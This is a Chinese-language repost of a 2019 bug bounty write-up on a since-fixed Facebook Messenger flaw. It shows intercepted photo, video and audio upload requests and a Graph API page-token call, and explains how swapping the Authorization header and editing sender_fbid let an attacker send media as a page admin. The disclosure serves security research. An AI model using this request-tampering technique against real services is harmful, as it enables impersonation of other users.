Facebook 赏金$7,500的越权漏洞

2019-05-25 约 1318 字 预计阅读 3 分钟

声明:本文 【Facebook 赏金$7,500的越权漏洞】 由作者 落花四月 于 2019-05-25 08:35:00 首发 先知社区 曾经 浏览数 105 次

感谢 落花四月 的辛苦付出!

Facebook 赏金$7,500的越权漏洞

原文链接:https://bugreader.com/kbazzoun@sending-message-on-behalf-of-other-users-72

附件给出了演示视频,可以更清晰的看出渗透测试人员的具体操作

描述

攻击者可以代表Facebook Messenger上的其他用户发送媒体消息,通过在Facebook页面上设置受害者管理员/编辑/主持人,然后攻击者在向某人发送照片/视频/音频时拦截信息的请求,然后将授权标头令牌更改为“Page Token”,将sender_fbid更改为受害者(管理员ID)

前提

这可能允许恶意用户通过在其页面上设置管理员(受害者)身份来代表其他用户发送消息

漏洞复现

首先:

建立两个用户,

“Kassem Bazzoun”是攻击者

"Semi Colon” 是被攻击者

“Kassem Bazzoun”在他的页面上使用受害者“Semi Colon”的身份发送内容

拦截请求

攻击者可以在Facebook Messenger(使用Android/IOS)中发送图像/语音/视频时获取这些请求

只需关注Authorization Header 和参数 sender_fbid/to

发送Photos拦截的数据包

POST /messenger_image/3e8cde28c9b2d9112e9c87af9b71fbc56528664348207412316 HTTP/1.1
Authorization: OAuth EAADo1TDZCuu8BAGLOOBcqIqRnGbSHm48FCJdMC4aWuZCrGJJLdwwKrJJt5awRGPiUXGswiwUUTAphk.........DgWUkgTUyMBUvs
original_timestamp: 1556554877552
sender_fbid: victim_id 
to: receiver_id
Accept-Encoding: gzip, deflate

发送Video Request拦截的数据包

POST /messenger_video/83e5ecba32f23sfd09a99f33b96529102120235284153 HTTP/1.1
X-Entity-Name: VID-20190430-WA0150.mp4
X-FB-Connection-Type: unknown
User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; INE-LX1r Build/HUAWEIINE-LX1r) [FBAN/Orca-Android;FBAV/212.1.0.13.109;FBPN/com.facebook.orca;FBLC/en_US;FBBV/151534286;FBCR/;FBMF/HUAWEI;FBBD/HUAWEI;FBDV/INE-LX1r;FBSV/9;FBCA/armeabi-v7a:armeabi;FBDM/{density=3.0,width=1080,height=2128};FB_FW/1;]
Authorization: OAuth EAAGNO4a7r2wBAJJXT1VkfYFfwdf9ZCpSxfcGpfi3azopoTlEvYEZC3639cIVmKefBhvKXadoD17GMt7t3Xx.........eTfcjUHvQZDZD
media_hash: 4dc51a78fd7e39ab3369ddd3873d4d1794b499621a1bd48d867c05c1a6ce65a5
X-FB-Net-HNI: 41503
attempt_id: 6529102120248812254
send_message_by_server: 4
app_id: 256002347743983
Content-Type: application/octet-stream
offline_threading_id: 65291021202332323
X-FB-Connection-Quality: GOOD
sender_fbid : victim_id

to: receiver_id
X-FB-SIM-HNI: 41503

发送Voice Message Request拦截的数据包

/messenger_audio/a174a21348fb713ab40a796e63232fs0986529693648684848294 HTTP/1.1
X-Entity-Name: USER_SCOPED_TEMP_DATA_orca-audio-1556800271887.mp4
X-FB-Connection-Type: unknown
User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; INE-LX1r Build/HUAWEIINE-LX1r) [FBAN/Orca-Android;FBAV/212.1.0.13.109;FBPN/com.facebook.orca;FBLC/en_US;FBBV/151534286;FBCR/touch;FBMF/HUAWEI;FBBD/HUAWEI;FBDV/INE-LX1r;FBSV/9;FBCA/armeabi-v7a:armeabi;FBDM/{density=3.0,width=1080,height=2128};FB_FW/1;]
duration: 9811
Authorization: OAuth EAADo1TDZCuu8BANUYHkTMK4SxtTRPbqtIgIuUShTWmsHujjEVIRELxlk5eiZCnA36hSgKl9gjjFJlmuMH3KYy6DlGOhojRZCDHjBZAyMEw0gLut6V4dEFaViofLKELJENiBBjW8SmMZCRho0A6Fq9ZBKXVIuf8nGPZAywnaqjunqwZDZD
X-FB-Net-HNI: 41503
attempt_id: 6529693648683742874
sender_fbid : victim_id
to: receiver_id

Kassem(攻击者)通过从先前的 Authorization Header获取令牌并通过GRAPH API EXPLORER生成页面令牌,将请求的Authorization Header中的令牌更改为他的Page Token

developers.facebook.com

要获取页面访问令牌,请发送以下请求

ACCESS_TOKEN = Token for Facebook Messenger

GET/V3.2/page_id?fields=access_token

该请求应该返回

{ "access_token": "EAADo1TDZCuu8BAGLOOBcqIqRnGbSHm48FCJdMC4aWuZCrGJJLdwwKrJJt5awRGPiUXGswiwUUTAphkkZBv15yb7FNy357AcxAtjZCSrjFkL35muO3h3dZB2zlSZBOiS....." "id": "page_id" }

因此,用新的替换Authorization Token

注意:你应该为你和受害者管理的页面生成“Page Token”]

在将Authorization Header转换为Page Token之后,我能够代表页面中的任何管理员发送媒体消息,其中服务器未检查此标记是否属于管理员:)如果用户具有验证此页面中的角色(token属于此页面),并且未检查谁生成此令牌!

所以让我们现在更改参数:)

sender_fbid

表示用户是向谁发送此消息的参数(SENDER ID)

将其更改为受害者ID(管理员ID)

to

指示谁收到此消息的参数(接收者ID)

最后发送请求!

攻击

我把受害者帐户(Semi colon)的信息发给了自己!

此外,我可以将消息发送给任何其他用户,不仅仅是我自己!

想象一下,有人会从您的帐户向其他用户发送消息!

漏洞修复方案

Facebook通过阻止任何用户使用“页面访问令牌”代表任何管理员(包括您的帐户)发送邮件来修复此漏洞,因此页面访问令牌仅用于代表页面itselft发送邮件。新服务器回复:err_code“:”1545003“,”err_str“:”您无法执行该操作。“

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now